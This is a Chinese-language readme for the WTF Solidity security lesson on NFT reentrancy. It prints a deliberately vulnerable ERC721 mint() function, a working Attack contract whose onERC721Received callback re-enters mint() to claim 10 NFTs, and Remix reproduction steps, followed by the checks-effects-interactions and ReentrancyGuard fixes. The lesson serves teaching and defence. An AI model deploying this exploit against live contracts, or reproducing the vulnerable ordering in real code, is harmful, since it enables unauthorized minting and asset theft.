Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

readme.md

title tags
S16. NFT重入攻击
solidity
security
fallback
nft
erc721
erc1155

WTF Solidity 合约安全: S16. NFT重入攻击

我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity 合约安全”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。

推特:@0xAA_Science@WTFAcademy_

社区:Discord微信群官网 wtf.academy

所有代码和教程开源在 github: github.com/AmazingAng/WTF-Solidity


这一讲,我们将介绍NFT合约的重入攻击漏洞,并攻击一个有漏洞的NFT合约,铸造10个NFT。

NFT重入风险

我们在S01 重入攻击中讲过,重入攻击是智能合约中最常见的一种攻击,攻击者通过合约漏洞(例如fallback函数)循环调用合约,将合约中资产转走或铸造大量代币。转账NFT时并不会触发合约的fallbackreceive函数,为什么会有重入风险呢?

这是因为NFT标准(ERC721/ERC1155)为了防止用户误把资产转入黑洞而加入了安全转账:如果转入地址为合约,则会调用该地址相应的检查函数,确保它已准备好接收NFT资产。例如 ERC721safeTransferFrom() 函数会调用目标地址的 onERC721Received() 函数,而黑客可以把恶意代码嵌入其中进行攻击。

我们总结了 ERC721ERC1155 有潜在重入风险的函数:

漏洞例子

下面我们学习一个有重入漏洞的NFT合约例子。这是一个ERC721合约,每个地址可以免费铸造一个NFT,但是我们通过重入攻击可以一次铸造多个。

漏洞合约

NFTReentrancy合约继承了ERC721合约,它主要有 2 个状态变量,totalSupply记录NFT的总供给,mintedAddress记录已铸造过的地址,防止一个用户多次铸造。它主要有 2 个函数:

  • 构造函数: 初始化 ERC721 NFT的名称和代号。
  • mint(): 铸造函数,每个用户可以免费铸造1个NFT。注意:这个函数有重入漏洞!
contract NFTReentrancy is ERC721 {
    uint256 public totalSupply;
    mapping(address => bool) public mintedAddress;
    // 构造函数,初始化NFT合集的名称、代号
    constructor() ERC721("Reentry NFT", "ReNFT"){}

    // 铸造函数,每个用户只能铸造1个NFT
    // 有重入漏洞
    function mint() payable external {
        // 检查是否mint过
        require(mintedAddress[msg.sender] == false);
        // 增加total supply
        totalSupply++;
        // mint
        _safeMint(msg.sender, totalSupply);
        // 记录mint过的地址
        mintedAddress[msg.sender] = true;
    }
}

攻击合约

NFTReentrancy合约的重入攻击点在mint()函数会调用ERC721合约中的_safeMint(),从而调用转入地址的_checkOnERC721Received()函数。如果转入地址的_checkOnERC721Received()包含恶意代码,就能进行攻击。

Attack合约继承了IERC721Receiver合约,它有 1 个状态变量nft记录了有漏洞的NFT合约地址。它有 3 个函数:

  • 构造函数: 初始化有漏洞的NFT合约地址。
  • attack(): 攻击函数,调用NFT合约的mint()函数并发起攻击。
  • onERC721Received(): 嵌入了恶意代码的ERC721回调函数,会重复调用mint()函数,并铸造10个NFT。
contract Attack is IERC721Receiver{
    NFTReentrancy public nft; // 有漏洞的nft合约地址

    // 初始化NFT合约地址
    constructor(NFTReentrancy _nftAddr) {
        nft = _nftAddr;
    }
    
    // 攻击函数,发起攻击
    function attack() external {
        nft.mint();
    }

    // ERC721的回调函数,会重复调用mint函数,铸造10个
    function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
        if(nft.balanceOf(address(this)) < 10){
            nft.mint();
        }
        return this.onERC721Received.selector;
    }
}

Remix复现

  1. 部署NFTReentrancy合约。
  2. 部署Attack合约,参数填NFTReentrancy合约地址。
  3. 调用Attack合约的attack()函数发起攻击。
  4. 调用NFTReentrancy合约的balanceOf()函数查询Attack合约的持仓,可以看到持有10个NFT,攻击成功。

预防方法

主要有两种办法来预防重入攻击漏洞: 检查-影响-交互模式(checks-effect-interaction)和重入锁。

  1. 检查-影响-交互模式:它强调编写函数时,要先检查状态变量是否符合要求,紧接着更新状态变量(例如余额),最后再和别的合约交互。我们可以用这个模式修复有漏洞的mint()函数:
    function mint() payable external {
        // 检查是否mint过
        require(mintedAddress[msg.sender] == false);
        // 增加total supply
        totalSupply++;
        // 记录mint过的地址
        mintedAddress[msg.sender] = true;
        // mint
        _safeMint(msg.sender, totalSupply);
    }
  1. 重入锁:它是一种防止重入函数的修饰器(modifier)。建议直接使用OpenZeppelin提供的ReentrancyGuard

总结

这一讲,我们介绍了NFT的重入攻击漏洞,并攻击了一个有漏洞的NFT合约,铸造了10个NFT。目前主要有两种预防重入攻击的办法:检查-影响-交互模式(checks-effect-interaction)和重入锁。